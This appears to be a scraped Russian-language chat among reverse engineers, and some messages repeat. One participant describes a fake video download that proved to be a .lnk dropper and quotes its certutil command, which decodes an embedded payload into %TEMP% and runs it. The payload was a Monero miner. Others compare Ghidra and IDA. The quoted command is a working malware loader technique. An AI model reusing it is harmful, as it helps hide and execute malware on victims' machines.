{
Хотя да, пришлось хакнуть мейнфрейм DNS Гугла.
Size: a a a
2019 December 23
И
жжош
A
Код непатчен, некейгеннен.
Не анпакнут сэмпл.
ОЕР даже не найден,
но сосинчен сервер.
Непонятно только людям -
для чего старанья.
Лучше крякай шаровару -
исполняй желанья
Не анпакнут сэмпл.
ОЕР даже не найден,
но сосинчен сервер.
Непонятно только людям -
для чего старанья.
Лучше крякай шаровару -
исполняй желанья
И
Ну и заспавнился конеш
И
Но тема норм. Вчера сериальчики качал, в итоге скачал lnk файл на 780 мегабайт. Ну я такой бляя.. Выгружаю строки с этой ссылки, а там команда:
Получается оно само себя пускает, а в хвосте этого файла есть PEM сертификат на 2 мегабайта. Ну я кароч такой декодировал, получил exe. Чекаю DIE, а там SFX. Ну пароль короче в lnk достаю, думаю буду анализировать очень крутой дропер, загружаю в гидру, а там.. monero майнер((((
не шаровара, но всё же
certutil -decode "kino.mkv.lnk" "%TEMP%\%USERNAME%.exe" && start "%USERNAME%" /b "%TEMP%\%USERNAME%.exe" "-pпароль_на_sfx" Получается оно само себя пускает, а в хвосте этого файла есть PEM сертификат на 2 мегабайта. Ну я кароч такой декодировал, получил exe. Чекаю DIE, а там SFX. Ну пароль короче в lnk достаю, думаю буду анализировать очень крутой дропер, загружаю в гидру, а там.. monero майнер((((
не шаровара, но всё же
A
Но тема норм. Вчера сериальчики качал, в итоге скачал lnk файл на 780 мегабайт. Ну я такой бляя.. Выгружаю строки с этой ссылки, а там команда:
Получается оно само себя пускает, а в хвосте этого файла есть PEM сертификат на 2 мегабайта. Ну я кароч такой декодировал, получил exe. Чекаю DIE, а там SFX. Ну пароль короче в lnk достаю, думаю буду анализировать очень крутой дропер, загружаю в гидру, а там.. monero майнер((((
не шаровара, но всё же
certutil -decode "kino.mkv.lnk" "%TEMP%\%USERNAME%.exe" && start "%USERNAME%" /b "%TEMP%\%USERNAME%.exe" "-pпароль_на_sfx" Получается оно само себя пускает, а в хвосте этого файла есть PEM сертификат на 2 мегабайта. Ну я кароч такой декодировал, получил exe. Чекаю DIE, а там SFX. Ну пароль короче в lnk достаю, думаю буду анализировать очень крутой дропер, загружаю в гидру, а там.. monero майнер((((
не шаровара, но всё же
это гидра спугнула
И
не, по строкам видно что cryptonight и прочее говно
A
но всё же да, шото есть
И
у гидры? нравится её декомпилятор)
И
В сорцы прям не декомпилит, но даёт какие-то представления, при сильной оптимизации переименовываешь переменную и в итоге оно всё переименовывается всё что надо и не надо
A
и как оно на шароваре?
A
особенно на упакованной?
И
Хуй его знает, я питонист)
A
хех )
A
всё хочу такого вдумчивого гидромана найти и дать ему упакованную херню, как он её будет декомпилить,страдать...
И
пингани как найдёшь, интересно аж стало
A
и чтоб каждые 5 минут голос за кадром "хай, гидра!"
A
пингани как найдёшь, интересно аж стало
та шото пока никто не ведётся
И
а ида про лучше будет?
A
все такие любят гидру на своих игрушечных примерах